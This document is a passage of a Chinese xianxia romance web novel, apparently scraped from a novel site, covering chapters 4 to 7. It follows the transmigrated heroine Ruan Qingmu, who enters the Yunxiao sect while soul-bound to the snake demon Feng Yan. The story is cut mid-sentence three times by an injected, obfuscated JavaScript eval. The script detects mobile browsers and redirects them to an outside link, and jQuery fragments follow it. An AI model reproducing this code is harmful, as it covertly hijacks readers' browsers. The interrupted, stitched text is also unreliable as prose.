人群中挪出一个身型不高,看年纪不过十三四岁的少年,他手中持着一柄定煞盘,盘中悬立了一根纤长的银针,银芒四散。
“云师姐,北境方向冥域边荒处确有魔气涤荡。”他又抬手指天,几人顺着他手指的方向看去。云雨已被月色浸透,将夜幕映成青灰色,云层间竟真有一道宛若游龙的痕迹,像是在往冥域方向逃着。
少年手中定煞盘的银针也确实直至北境。
云渡珩眉心蹙起,若真是逃向冥域,便没必要去追了。他们虽都是修仙者,修为实力也都不低,但冥界阴浊之气极重,不是一般肉身能扛得住的,且地处群山起伏,实在易进难出。
“师姐,没必要追了。”似乎是看出了云渡珩的顾虑,少年替她开口道:“区区一个蛇妖,就算逃到冥域也是非死即重伤。”
他给了阮清木一个眼神,阮清木瞬间便了然,听见那句“非死即重伤”,她连忙哽咽几声,泪如雨下。
“姑娘不要哭了,莫要再与这些妖魔有所牵扯,这次断个干净,是好事。”少年又对阮清木宽慰道。
这位突然站出替她打圆场的少年,眉宇清俊,一脸泰然正气。原主先前一直在玄虞大陆上四处游荡,多在凡人和灵族的地界打转,想来是没什么机会认识云霄宗的修士。
既然互不认识,却站出来为她证明一个本不存在的事,她偷瞟了一眼风宴。
有意思。
这云霄宗是捅了反派窝吗?
云渡珩对那少年的态度也有些不一样,仅三两句话,就将此时针锋相对的气势扭转。
少年站回至她身侧,只专注于手中的定煞盘,对旁事不再关心。
云渡珩掌中凝力将她那柄长剑收回掌中,神色也缓和了一些,但对眼前这个莫名冒出来的表妹还是有些不放心,又对风宴问道:“她可与那蛇妖结了什么契?”
风宴狭长的眼眸间在夜色中难辨神情,他余光扫向阮清木,道:“未成,方才已断了他们二人的妄念。”
呵。阮清木心中嗤笑,明明脸色还凶得要死,竟反倒与她一起演上了。
她将嘴巴抿成一条直线,努力让嘴角不再翘起。虽说这面上依旧施着魅术,但她不确定这群修士会不会像这蛇妖一样忽然看穿她。
云渡珩淡淡道:“既然无人受伤,那就速回宗门吧。最近宗门内不少修士都灵息混乱,尚未查出原因之前不要再惹是生非。”她紧盯了一眼阮清木,接着对风宴问道:“你表妹要怎么安置?”
阮清木抢先一步回道:“我答应了表哥,会和他去云霄宗认真修炼。”
虽然从头到尾,风宴从未答应过会将她带回云霄宗,但阮清木三番四次地当着众修士的强调此事,风宴也没否认啊。
雾散云开,蒙蒙雨丝自细线渐成稀疏的雨滴,雨后的泠风卷着草木湿气掠过。云渡珩单手捏诀,召回布在庙前的天刑锁。
阮清木跟着风宴往庙外走去,他身材颀长,步子跨得又大,她提着素裙小跑才勉强跟上,与一旁的云渡珩擦肩而过。
正仔细看着脚下的路,陡然间一抹寒光从她眼前闪过,她脖子一凉,涓涓血流瞬间从阮清木左侧脖颈涌出。
阮清木脚步猛然顿住,她回过头,看见云渡珩正冷着脸将一柄长剑搭在她的肩头,剑锋擦入她的脖颈,割破了一道不浅的口子。
鲜血顺着阮清木纤长的脖子一路流至肩上再到胸前,将她那身皓白的素裙瞬间染红一片。她怔在原地,眼神凝滞。
这剑术用得很巧,但凡阮清木有所察觉,本能地想躲开她的攻势,那长剑便会毫不留情地贯穿她的咽喉。
云渡珩漠然移开长剑,指尖沾取剑上的几滴血迹,随后又掏出一张符纸,以血引符。
沾了血的符纸悬于半空中,只飘荡了几下,泛出一层蒙蒙幽光,没一会便失了灵力,飘落至地上,化散在雨水之中。
云渡珩抱歉地朝她一笑:“得罪了,在下只是想再确认一下姑娘身上是否沾有妖魔之气。毕竟要将你这个外人带回我云霄宗,自然要谨慎一些。”
雨渐停了,但阮清木确看不清眼前物。
透骨的寒意顺着她的脊背袭来,阮清木忽然想起,也是这样一个雨夜,曾经有一把钝刀也这般划过她的脖颈,但那把刀实在太钝,为了割破她的脖子,硬生生割下一条血肉。
还好,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128502|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次没那么痛。
她眼神逐渐聚焦,伸手缓缓抚上自己的脖子,眉眼间对那时的恨意几乎被她强压了下去,她挤出一丝笑来:“云师姐现在放心了吧?”
云渡珩没再回应,依旧是那副傲然神色,旁若无人地径直从阮清木身旁走过。
这一剑,她真的很想还回去。
-
云霄宗坐落于玄虞州东境的日出之地,可以说是修真界中地理位置最好的宗门,气势卓宏,灵脉环绕。
阮清木暂被安排在云霄宗普通修士的舍堂“竹胥居”歇息。
她轻抚着脖子上那一道伤痕,眉心蹙着,思绪很重。昨夜事情一时来得太快,压根没什么时间给她去和小凝儿联系。
系统面板不能随意调出,她们二人也没有任何通讯方式,若她在这云霄宗久居下去,恐怕昨夜就是她们最后一次见面了。
昨夜云渡珩带着一群修士离开时,她用匕首撕下一段衣裙,一半用来捂住脖子伤处涌出的血,另一半那沾了血迹的素白布条被她丢在了破庙的门前。
若小凝儿还有机会看到,就当她昨夜出了意外吧。
只是还有一件事,她很在意。
直到此时,系统任务成功的提示音都没有出现。所以她都拿不准这任务到底是完成了还是尚未结束,不敢掉以轻心。
只可惜就算这幅身子再能熬,折腾了一晚,此时也十分疲惫。正准备先歇息,咚咚几声响起,有人在敲她的房门。
天色已然蒙蒙亮,阮清木将门推开一条小缝。门外的人凑了上来,是个和她年纪相仿的姑娘,柔婉清丽,面上挂着讨好的笑。
阮清木迟疑问道:“姑娘有事?”
那小姑娘眼睫弯弯地,一脸神秘地开口:“听说,你是昨夜被风宴领回来的表妹?”
阮清木怔住,没回答她的问题,反问道:“姑娘到底有何事?”
这消息传得也太快了点吧。
她打量着阮清木,笑道:“据我所知,风宴无父无母,孤身一人,从未有过什么表妹。”
“所以呢?”阮清木这才正视眼前的姑娘,看样子她并没什么心眼和坏心思,应该只是单纯的好奇。
小姑娘倒是一副好脾气,她对着阮清木左看看右看看,竟露出一副满意的神色,“我叫何言,日后若你真有机会在这留下,希望我们能在一起上课修行。”
她想了一下又说:“虽然他把你领回来了,但云霄宗的考核很严。前几月刚有一批资质过差的修士被送出仙门了,所以最近这段时间宗门一直在举行收徒大会。估摸着这几日就会叫你去考核,你可要好好准备啊。”
阮清木闻言收徒大会,刚想再多问几句,但何言只笑着,终于是帮她关上了门。
收徒大会……
阮清木下意识地抚着她脖子上的伤口,她现在只想快点听到任务成功的系统提示音。
就这么躺回了床上,倦意逐渐袭来,阮清木虽强撑着精神,却也架不住疲惫,眸子缓缓地阖上。
好像睡得很沉,睡了很久。直到她手边摸到了一个人,鼻尖还闻到了淡淡的清檀香气。
阮清木睁开眼,一道冷肃俊俏的眉眼出现她面前。
而她整个人正缠在风宴身上,并且眼看着风宴缓缓睁开了眼睛。
四目相对。
5. 第 5 章
日光透过窗棂边飘动的帷幔洒在整个寝殿之间,阮清木和风宴躺在一张床上相拥而眠,不仅如此,二人发丝纠缠,不仅如此,他们还耳鬓厮磨肌肤相亲,不仅如此,风宴是醒着的。
四目相对。
阮清木强迫自己镇定,且脑中飞快地分析当下如果她控制不住朝风宴打出一拳,自己被反杀的概率会有多少。
窗棂外的枝叶摇曳不止,除了心口处胡乱的心跳,只能听见树叶被风吹得沙沙作响。
思索一瞬,她只好先若无其事地从床头爬到了床尾,发丝擦过他滚动的喉间,她瞥见了风宴耳尖近乎滴血的红,胸口里的半颗心又是乱跳了一通。
屋内静得仿似能听见角落里的焚香掉落香灰的声音。
阮清木抬眼扫了一圈屋内的陈设,并不是她方才歇息的那个房间。这里明显比她那间房要好得多,房内布局四面通透,且布置华美,窗棂雕花甚至还有层层帷幔,就连这床好像都不是一种材质,是锦缎面的。
她一脸不解的样子回眸看向风宴:“表哥这是做什么?”
风宴神色一僵,撑起身子半躺着,缓缓开口:“再叫我表哥,我就杀了你。”
阮清木蹙眉:“要杀我还用把我带到这来吗?”
“不是我。”他看向阮清木的左手那道血痕,“我早和你说过,立下双生魂契,便会如同做了道侣一般……”
风宴没再说下去,只将视线移开,脸色稍显难看,原本高高束起的墨发此时随意披在肩头,浅色长袍勾勒出衣衫之下身形。
双生魂契?道侣?
……居然是要一起睡觉的关系?
阮清木恨不得当即将掌心抠得血肉模糊,把这什么鬼咒印给抠下来。
真是被自己给蠢哭了。
“如果你后悔了,我可以想法子帮你解除这道契约。”风宴眼带冷意,悄无声息地在阮清木后心处凝了一节冰刃,此时只要稍动手指,那道短刃就会顷刻间刺穿她的后心。
他陡然撑起身子压了过来,阮清木下意识地向后躲闪,不知情地就这样轻顶在身后那道刃尖处。
阮清木不喜欢他总是这样贴地这么近,她将头避至一侧,道:“怎么解?”
冰凉的手指抚上了阮清木的脖颈,风宴低声道:“若我此刻杀了你,这道血印就会消失,你我之间的契约也就此破解。”
系统确实和她说过,如果她这幅肉身遭遇死亡,体内半颗妖心就直接还给他了。
可这哪是什么解绑的办法,这分明是让她死的办法。
“要我杀了你吗?”风宴问道。
这不废话?谁会主动想死?
阮清木此时只穿了一件极单薄的内衬长袍,风宴也差不多。她感觉自己的体内的血莫名地开始温度上升,像火烧一般,浑身不自在,且风宴贴得实在是太近……
其实她早就感受到了顶在她背后的尖物,应是一把刀,尖刺已经扎进了她的肌肤,刺痛感传来。
自打昨夜从那破庙离开,一直有个想法萦绕在她的心头。按照原剧情的发展,即使在风宴重伤的情况下,云渡珩也只是暂时将他封印住而已。
所以他应该并非真的寿元耗尽,受伤是真,但身死却为假。
“杀了我,你就能活吗?”她双颊泛起淡红,却仍平静地开口,“无论你昨夜寿元耗尽是真是假,但此刻,我们是命格相连的。”
身死虽是假象,但他们之间的魂契是真。
或许,试试看呢?
她眼神中流露出怯意,假意失去平衡,风宴眼疾手快拉住她,扣住她的后腰,顺势将她往怀里揽去,将她和背后的冰刃拉开距离。
就这么直接跌进了风宴的怀里。
二人胸膛贴得极近,一时间竟分不清到底是谁的心跳这么乱。
“……”
肌肤相贴的一瞬,阮清木感觉自己烧得厉害,就连周身都被对方气息所包裹。
那感觉就像惹火上身。
仅存的理智也没让阮清木做到体面地离开,她甚至不知道自己是怎么从风宴房内逃出的。
烦烦烦!
虽然事实证明她和风宴二人之间并未发生什么,但在同一张床上醒来这事对她的冲击还是太大了。
甚至极有可能,还会再次发生。
阮清木脸都涨红了。
就算她嘴再硬,也没办法在这种情况下保持冷静。
且这云霄宗实在是太大,绕了几圈竟也找不到回去的路,她索性就找个树下坐着成荫,顺便给自己降温。
就这么愣神的功夫,她瞥见了前面那道熟悉的身影。
昨晚系统给她的任务是让她阻止云渡珩将风宴与那破庙封印,可现在都已日上三竿,她甚至都混进了云霄宗,任务成功的系统提示音还没有出现。
大概只有一种可能,就是云渡珩还没有对此事彻底消除疑心……
算了,收拾下心情干正事了。
阮清木埋下头快步地走过,神色匆匆,连路都顾不上看,匆忙间对着眼前人就直接撞了上去。
对方急忙伸手将她扶住,这才没和人家撞个满怀。
她慌乱中抬眼,和云渡珩对上视线。
“昨夜不是给你安置了歇息的地方吗?”云渡珩往她走来的方向望去,不解道:“怎么你这方向……像是从你表哥那处来的?”
云渡珩又注意到她发丝凌乱的样子和单薄衣衫,阮清木面颊羞红,看见她之后又眼神躲闪。
“你到底……”云渡珩试探着开口。
阮清木连忙回道:“云师姐。”她深吸一口气,“不是。”
不是你想的那样,不是。
说着,她魅术浮现,眼尾泛红。
云渡珩的疑心不过是怀疑昨夜压根没有第三人,但若想让她相信那人确实存在,只好再利用一下风宴了。
“表哥这么做都是为了我好,我懂。”她抽泣。
云渡珩盯着她看了良久,又将昨夜之事在心中复盘一遍,再看阮清木此时我见犹怜的模样,不经意地抚上她的背。
阮清木感觉,云渡珩的脑中好像已经在上演强取豪夺的戏目了。
她脖间的伤处仍敞着个口子,虽然没有再流血,但看着也有些骇人。
云渡珩见此,双指间运起灵力,轻抚了过去。
“昨夜冒犯了。”她用灵力将她那道伤处疗愈了一些,不知是不是阮清木的体质原因,这伤好得很慢,即使渡上她的灵力,也还是剩一道浅疤。
见她是帮自己疗伤,阮清木又识趣地装起乖来。
“师姐这就见外了,我知道师姐做的一切都是为了宗门着想,我不会在意这些小事的。”阮清木眼睛水灵灵地看着云渡珩,嘴角翘起,本就有些凌乱的青丝显得她十分楚楚可怜。
其实细看她的五官每一处都透着股妖艳的劲,但因为她几乎不做任何打扮,昨夜初识是一身素袍,现在也仅穿着个素净的衣裳,让人忽视了她近乎张扬的脸孔。
云渡珩也客套了起来,她笑着:“虽不知你日后会被分到哪个师尊门下,但若有什么烦心事或是麻烦,可以随时来洵青境找我。”
“毕竟你叫我一声师姐,我自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128503|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然会照顾你的。”
阮清木点头,“那师姐,你能不能带我回竹胥居,我不认路……”
云渡珩闻言,笑着挽起她的手。
随即任务成功的系统提示音忽然在阮清木脑中响起:“恭喜宿主,任务完成。”
-
阮清木回自己房间内换了一套青缃素裙,没给她统一的修士服,大概是因为她还不算正式的云霄宗弟子。
但方才这一路走来,其实那些修士也都各穿各的,倒没几个老老实实穿修士服,偶然碰见的几个,也是一副刚入宗门的新奇面孔。
衣服刚换好,门口就有人敲门。
她推开门,正对上一个规规矩矩在门外站着的小弟子,门外之人见她眉眼间带着嗔怒,有些不知所措。
日光照进来,青绿色的衣裙把阮清木衬得像个初春新发的嫩叶,她倒也没在生气,只是日头照的她眼睛有些睁不开。
阮清木柔声道:“何事?”
语调虽十分温柔,神色却将人拒之千里。
那小弟子连忙回道:“是有事通知姑娘,大约在午后申时左右带姑娘去映晖台,到时会测一下姑娘的灵根,看姑娘是否符合云霄宗的收徒要求。”
测灵根……有点麻烦了,阮清木这副身子就是截木头,其实根本没有灵根。
她神色的愁容一时堆在眉间,缓缓道:“灵根是要怎么测?”
小弟子回:“会有专门的师兄师姐们用灵力探取对方的灵息,从而判断出灵根。”
昨夜风宴也曾用灵力探过她的灵息,估计和那个差不多。
那他岂不是早就知道她压根没有灵根这件事。
“我也要测?”阮清木顿了顿,“有没有可能,我表哥……”她当时明明和那蛇妖说了想走关系,要是能走正规渠道,她早自己去了,还用得上绕这十八道弯吗?
小弟子不置可否地笑了笑:“我会准时带姑娘过去。”
怪不得她说要跟着一起去云霄宗时,风宴没答应也没拒绝。敢情他早就知道,她压根过不了收徒大会这关。
阮清木沉默地目送小弟子离开,随后重重地关上了房门。
要去找那蛇妖吗?
可是一想到方才那个场面,阮清木瞬间蔫了。腿是一步也不听使唤,直接坐在床榻上。
大不了就测不出灵根,被赶走呗。
左右她是不会放过那蛇妖的,就算是做鬼,她也是永远缠着云霄宗。
指尖陡然一凉,她垂眼望去,床榻之上,她的手腕旁边赫然躺着一条银白色的小蛇,正吐着信子,一下一下扫着她的手指。那蛇鳞和昨夜缠住她腰身的蛇尾一模一样……
其实她是怕蛇的。就比如现在,和那条小蛇对视的瞬间,她不自觉地抖了一下。和昨夜只看到个蛇尾的感觉不同,和蛇对视,有一种被它狩猎的感觉。
它嘴巴微张,漏出尖牙,弓起身子,红色竖瞳对着她虎视眈眈。
阮清木将动作放得极轻,摸到了身后随意堆着的被子。那蛇不动了,仿佛察觉到了她的动作,整个蛇身紧绷着好似在蓄力,死盯着她。
她心中默念:一、二、三!
骤然间她扬起被子直接把蛇捂了进去,然后飞快跑到门前,推门便要将那白蛇连带着被子一起丢出去。
只是门刚一推开,一只手便将她腕骨捏住,一道颀长的身影压了下来,熟悉的声音在她耳边响起。
“敢丢它就杀了你。”
阮清木手中动作一顿,动不动就喊要杀她的人只有那一个。
她侧过头,看向风宴。
6. 第 6 章
“敢丢我就杀了你。”
熟悉的声音在耳边响起,阮清木回过头对上那双狭长漂亮的眼睛。
纤长的睫羽在日光下投落出长长的阴影,瞳仁漆黑,不同于那夜幽青色的竖瞳。
风宴扣住她的手腕,小白蛇从她手中的被子里弹出脑袋,信子嘶嘶扫过阮清木的手指,她手一抖,被子啪一下掉在地上,连带着夹在被子里的小白蛇。
“我不是故意的。”阮清木无辜地眨着眼睛,她后退一步,满脸惶恐的怯意。
风宴的墨发又高高束起,高领的玄衣遮住他细长的脖子,漆黑的瞳仁就这么静看着阮清木。微风清软和煦,但吹在阮清木的身上却有些发冷,静静对视之后,她败下阵来。
俯身正打算将被子拾起,谁料在她隔壁的房间忽然传来声响,吱呀一声,门被推开。
阮清木拾被子的动作陡然顿住,因为她一眼就瞥见,门内那道身影是敲过她房门的何言。
风宴正抄着手臂斜靠在门框上,下一瞬便被阮清木直接拽进屋内,然后砰的一声关上了房门。
只留一席被褥和小白蛇嘶嘶地躺在地上。
何言口中哼着的小曲儿,路过阮清木的屋子时发现了门口可怜的被子,她“嗯?”了一声,走上前将其拾起。
咚咚两声,房门被敲响。
阮清木紧盯了一眼被她按在墙上的风宴,示意他不要出声,随后将门打开一条缝隙,挤出假笑。
“你这门前怎么有张被褥?”没等她开口,何言先问道。
阮清木没想解释,只笑着接过被子,可是门又被推开了一些,何言好奇地往里面瞟了一眼,下一秒便被阮清木那张艳丽的脸给挡住了视线。
“方才去晾被褥的时候不小心落在门口了,多谢你啊。”阮清木细瓷般的脸蛋绽出笑容,接过被子便欲关上门。
结果何言又伸手拦住。
“收徒大会你准备的怎么样了呀?考核很严的,你有把握吗?”她顿了顿,又道:“你表哥有没有和你嘱咐些什么?”
陡然间一层寒意爬上阮清木的脊背,她一激灵,感受到背后一道冰凉的触感蜿蜒攀附而上。
贴着她的背,一寸一寸缓慢地爬着。
她蹙着眉垂下眼眸,见手中的被褥上果然没有那条小白蛇。
莫非在她背上……
何言见她低着头不言语,开导道:“倒也不像你想的那么恐怖,不过看你有没有修炼的天赋,但考核标准确实比其他宗门要高一些。”
小白蛇已爬她的脖颈后侧,微微弹出头,吐出的信子顺着她肌肤下的青色血络舔舐。
阮清木强忍着脖间传来的酥麻,嘴角僵硬地噙着假笑:“多谢提醒。”她轻搭在门上的手向外用力,将何言往外推去。
何言还想再说些什么,但阮清木力气大得很,直接将她推了出去。
只是门关上的瞬间,她忽然瞥见一抹湖青色在门缝中一闪而过。
何言怔住,那好像是他们宗门统一发的束发缎带。
但阮清木还未通过仙门考核,不应该有那条发带啊,而且那个高度要比她高出两个头来……
刚往外走出几步,何言一激灵,她猛地回头看向房门。怪不得她方才神色那么奇怪,哎呀!何言拍了下大腿,真是没眼力见,快走快走快走……
门砰的一声关上,震得旁边窗棂前的纱帘飘荡。
风宴将阮清木脖间的小蛇捏起,白蛇吐着信子,顺势乖巧地缠在他指间。他侧首看着阮清木,见她还扭着脖子往后找寻小蛇的身影,日光透过窗子在她身上洋洒下一抹光晕。
方才小蛇贴在她背上时,他闻到一种很好味的味道。不是刻意的熏香,是这棵木头自体内散发出的。风宴好奇凑近,下意识地将她抵在门上。
阮清木的动作顿住,她背后贴在风宴的胸膛上,心跳自背后传来。
她抬起腿,猛地踩了他一脚。
一道极轻的吸气声响起,阮清木震惊回过头,“表哥你凑这么近干嘛?”
风宴阴沉着脸,盯着阮清木,强压下心中的怒意,凌厉的双目又化成一对竖瞳,泛着幽青色的光,唇齿开合,只吐出三个字:“为什么?”
只有三个字。
阮清木对上他那双带着威胁的眼眸,茫然问道:“什么为什么?”
“为什么把我拉进你的房内?”他向外扫了一眼,随意地开口,“怕被人看见?”
阮清木倒不是怕被人看见,只是怕被那个叫何言的姑娘看见,这姑娘看起来实在是太八卦了。
她只好点了点头。
“那为何你不怕被云渡珩看见?为什么用你那拙劣的魅术在云渡珩面前演戏?想让她误认为我对你做了什么?”
阮清木心中一沉,鬼知道他什么时候看见的,又听见了多少。
风宴将头歪至一侧,眸子都不眨一下,如猛兽一般在蛰伏。
“我只是,想让她可怜我一下,不想她再拿着剑欺负我罢了。”她委屈地撇开头,不经意地露出白皙脖颈之间的长疤。
风宴的视线向下,扫过她雪白的脖颈,青色脉络在肌肤下若隐若现,像一条游走的小青蛇,有一种想咬破她脖颈的冲动。
他移开视线,望向她的眼眸,似乎在审视她言语的真实性。
“下次再也不敢了。”她抿起下唇,咬的唇边已泛白。
风宴眸间竟闪过一丝疑惑,他们两个到底谁才是妖?
良久,他才和阮清木拉开距离,好似想起了什么,淡淡道:“云霄宗收徒的考核,看你自己的本事了。”
阮清木蹙眉:“要是没本事怎么办?”
风宴摇了摇头:“那没办法。”
“……”
-
申时一到,那传话小弟子便准时来敲响了阮清木的房门。
他将阮清木带到映晖台时,发现这里已经聚集了很多弟子,看样子各个都是天赋异禀,自命不凡的天才少男少女,就连身上穿的衣裳也都一个比一个华贵,日光投下来,将这些弟子映得霞光异彩。
阮清木有一种感觉,这群人其实已经成仙了。
小弟子将她带到地方便离开了,留阮清木一人在这场台上闲逛。
经常有四五个人围成一个小团体,彼此之间互相吹捧谈笑,交谈的内容无非是自己几岁便觉醒了灵根,如今对仙道的感悟又到了哪一层,以及进了云霄宗后要去哪位师尊门下。
阮清木在这些耀眼夺目的人群中如同一个混在鱼群中的浮木,人家给她挤到哪,她就走到哪。
“姑娘是一个人来的吗?”一道声音在阮清木身旁响起。
阮清木看了一圈,没见到谁在开口说话。
“我在这,在这。”一个和她差不多高的男子隔了两排人和她说话,终于是挤了过来,他对阮清木笑道:“好巧,我也是一个人。我叫周明远”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128504|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
阮清木淡淡地瞥了他一眼,点了点头。
此时已经有弟子陆续被喊上台,人群中少了一些人,其余也都围在台旁,关注着台上的结果。
站在她身侧的周明远搭话道:“姑娘你是什么灵根啊?是打算进云霄宗修什么?”
阮清木摇了摇头:“我资质不行,就是来凑凑热闹。”
那人一副见怪不怪的样子,“我懂,像你这种资质不好却又憧憬修仙的人有很多,没关系,这云霄宗灵脉充盈,你就是沾沾这灵气也是好事。”
阮清木笑了,本来打算换个地方待着,可是这男的说完之后露出一副“你快来问我是什么灵根”的样子。
行吧,反正也没事干。
“那你是什么灵根呀?”阮清木很听话地问道。
虽然还没说出口,但此男的虚荣心仿佛就已得到极大的满足,他清了清嗓子,低声回道:“雷和火,双灵根。”
其实阮清木根本就不懂这些,但看他的样子应该是天赋异禀,她点头道:“好厉害。”
身侧陆陆续续有人从他们之间穿过,阮清木盯着台上,不知道一会自己上台,发现她压根没有灵根时对方会有什么反应。
台上共有八位专门测灵根的内门弟子,被人山人海挡住,虽然人多,但每位弟子测的速度很快,且当初便回告知考核结果。一时间场面上有人面如死灰,有人振臂高呼。
身旁的周明远咳嗽一声,又是一副期待的神情盯着她,阮清木想了想,问道:“那你想修什么呀?”
又得到了一次满足,他深吸一口气,说道:“虽然能进云霄宗便已是我最大的梦想,但我不会止步于此。我要做祝奇徽的内门弟子,成为云霄宗最强的剑修。”
阮清木强忍着才没问祝奇徽是谁。
此时站在台旁的弟子念出周明远的名字,阮清木身旁的男子立即身体紧绷起来,他招了招手:“是我!到我了到我了。”
周明远拨开人群,直接跃上高台,稳稳立在一处空位前。他理了理袖口,朝那位即将测他灵根的内门弟子深深一揖。
身旁突然空了出来,人流将阮清木推搡到角落。好像一直如此,在这个耀眼夺目的世界中,她所在的位置永远是照不亮的角落,她永远是不被上天偏爱的那一个。
测灵台上华光流转,所有人都在期待自己的结果,除了她。因为只要她期望的事就一定会落空,只要是她依赖的人就一定会背叛她。
台上出现一声悲痛的叫声,她抬起头,看见方才与她搭话的周明远捂着脸,嘴里喊着“怎么可能,我怎么可能不够资格……”随即被几位内门弟子送下台去。
阮清木有点想临阵脱逃了。
她四处环视一圈,找到了方才弟子带她来时的路,刚要转身溜走,身后便有人喊起了她的名字。
看吧,每次都是这样与她作对。
叹了口气,她走上台随意地站在一个空位上,眼角余光忽然瞥见对面之人。那双清亮的眸子十分眼熟,他赫然开口:“还请姑娘转过身去。”
与那个雨夜中清脆的嗓音一模一样。
是那晚在云渡珩面前站出来替她作证的少年。
他含笑地盯着阮清木,点头示意。阮清木茫然地转过身,任他运起灵力探向自己的灵脉。
没多久,清冽的声音再次响起:“阮清木,木系单灵根,通过考核,已归为云霄宗内门弟子,师从宁雪辞。”
7. 第 7 章
“阮清木,木系单灵根,通过考核,已归为云霄宗内门弟子,师从宁雪辞。”
话音一落,一时间整个映晖台上下都引发了不小的骚动,人群直接往阮清木这方位的台侧靠拢,她回头看向身后的少年,他却只笑着,抬手示意阮清木可以跟着他身后的另一位弟子离开了。
“炎昀,可要再确认一番?”一旁的女弟子开口阻拦,她打量着阮清木,素裳白钗,与台下面那些世家修行的弟子相较,阮清木像个小门小户出来的。
炎昀漠然地扫了一眼质疑她的女弟子,“怎么?今日测的弟子少说也有百余人,这么多人你都不曾开口,是偏对这位姑娘以貌取人?”
未等那质疑的女弟子再开口,炎昀直接叫起下一位台下弟子的名字。
身旁另有弟子带阮清木离开映晖台,走之前她又回头看了一眼叫做炎昀的少年。雨夜那次她其实并未看清他的样貌,只记得他个头不高,嗓音特殊的好听。
今日再见他确实不过十三四岁的样子,脸庞上仍带着稚气,但行为谈吐却处处彰显稳重。
但阮清木还是不敢相信,自己居然就这么过了?
是风宴?
那晚炎昀站出来作证时,阮清木就猜测他们二人之间必是有所联系。况且这么会巧合,今日给她测灵根之人又是他。
这个死风宴还说让她自己想办法,吓得她刚才真的差点跑了。
一旁的小弟子忽然搭话道:“姑娘随我去交一下日后在云霄宗的学费和宿费,虽然刚才和你说是宁雪辞师尊的门下,但她其实已经多年没有出关了,应是其他师尊带你。”
阮清木只听见让她交钱那句话。
“……要交多少费用?”
那小弟子笑看了她一眼:“云霄宗是玄虞大陆上实力最强的宗门,自然费用也是要高于其他宗门。一年需十万灵石。”
多少?阮清木怔住,她以为自己听错了。
这是把灵石当欢乐豆了吗?
“我没钱,十万更是没有。”阮清木缓过神后坦白道。她穿进来总共才三个月,经过手的灵石都不超过十个。
“额……”那小弟子被阮清木的直言不讳一时搞得说不出话来,他挠挠头,“可是,要是交不了钱,姑娘是没办法在云霄宗修行的。除非可以在云氏的家族族谱上查到名字,云氏的族人是可以不用交钱的。”
说话间他们已走到录名阁前,小弟子接着补充道:“要不姑娘先把宿费交上,不然今晚姑娘连房间都没了。新入门的弟子可多呢,都想多花点钱住好些的单人屋子。”
小弟子边说着就走进了录名阁,去给她登记名册,阮清木想将他拦住的手悬在半空,但他走得太快,人直接走远了。
阮清木:“……”
没钱啊,都说了没钱。
结果过了没一会,小弟子又挠着脑袋出来了,他一脸不好意思:“姑娘,里面已经将你名字登记完了,你的费用也都被结清了。”
?
阮清木和那小弟子面面相觑,她瞪着大眼睛满脸震惊:不是弄错了?重名了?”
小弟子摇头:“没有没有,不会错的,每个弟子登记名册都是一人一册,我核实了好多遍,绝对没有错。”
风宴帮她把这十万灵石都交了?这交易也太值了点吧,太仗义了兄弟。简直是一站式服务,这就是当关系户的感觉吗?
她拿着自己的修士服,手里还有一个云霄宗内门弟子的收费凭证。毕竟十万灵石,肯定是要谨慎一些。阮清木看着上面的落款,最后一行写着——星隐阁。
“这个星隐阁是哪里?”她向小弟子问道。
小弟子道:“云霄宗的众修士寝居按照房间的具体布置分好了等级,像竹胥居、筠风居是大多数弟子会选的房间,费用不高。星隐阁就是那些富家子弟因为住不惯寻常房间,会多出些钱住更奢华的屋子。”
他探头扫了一眼阮清木手中的纸张,接着道:“姑娘是有亲族住在星隐阁吧,应该是姑娘的亲族留过话,把姑娘的费用直接在星隐阁那结清了。”
这么说的话,住在星隐阁的人应该就是风宴。
阮清木对小弟子谢过之后就离开了,她打算先熟悉一下云霄宗。
沿着一路蜿蜒曲折的河谷走着,偶有清风拂起她的衣角,她将乱起的发丝别至耳后。
云霄宗真的比她想象的还要大,单说山脉就层叠起伏,郁郁葱葱。可能是因为地段占据的灵脉极好,阮清木感觉自己身体都变得轻盈了一些。
只是,一直有一道视线盯得她实在是心烦。
从她自录名阁离开之后,就有人在身后跟着她,而且似乎刻意没有隐藏自己的气息,在等她发现。
阮清木不动声色地绕至河沿旁一棵庞大的树后,她的身形本就窄瘦,都不用贴着树干就几乎可以将她完全挡住。
果不其然,当她的人影从那人眼中消失,自另一棵树后倏地闪出一人,朝阮清木躲藏的方向走去。
窸窸窣窣的脚步声响起,仍是没有一点隐藏气息的意思,那人逐渐靠近。
她靠着树干而立,摸出一直随身携带的匕首,思考着该怎么出手才能在看清对方何人的同时确保自己的安全。
